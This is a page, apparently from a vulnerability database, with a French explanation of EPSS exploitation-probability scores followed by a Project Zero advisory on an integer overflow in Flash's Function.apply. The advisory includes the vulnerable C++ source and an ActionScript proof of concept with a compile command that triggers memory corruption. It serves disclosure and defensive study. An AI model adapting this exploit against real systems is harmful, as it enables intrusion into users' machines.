EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837] VULNERABILITY DETAILS An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments. VERSION Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134 Operating System: Win7 x64 SP1 REPRODUCTION CASE From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp 944 // Specialized to be called from Function.apply(). 945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a) 946 { 947 int32_t argc = a->getLength(); ... 966 // Tail call inhibited by local allocation/deallocation. 967 MMgc::GC::AllocaAutoPtr _atomv; 968 Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom)); //here if argc = 0xFFFFFFFF we get an integer overflow 969 atomv[0] = thisArg; 970 for (int32_t i=0 ; i < argc ; i++ ) 971 atomv[i+1] = a->getUintProperty(i); 972 return env->coerceEnter(argc, atomv); 973 } So the idea is to use the rest argument to get a working poc. For example: public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) { try {a0.writeUnsignedInt(0x41414141)}catch (e) {} try {a1.writeUnsignedInt(0x41414141)}catch (e) {} try {a2.writeUnsignedInt(0x41414141)}catch (e) {} try {a3.writeUnsignedInt(0x41414141)}catch (e) {} try {a4.writeUnsignedInt(0x41414141)}catch (e) {} } public function XApplyPoc() { var a:Array = new Array() a.length = 0xFFFFFFFF myFunc.apply(this, a) } Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.
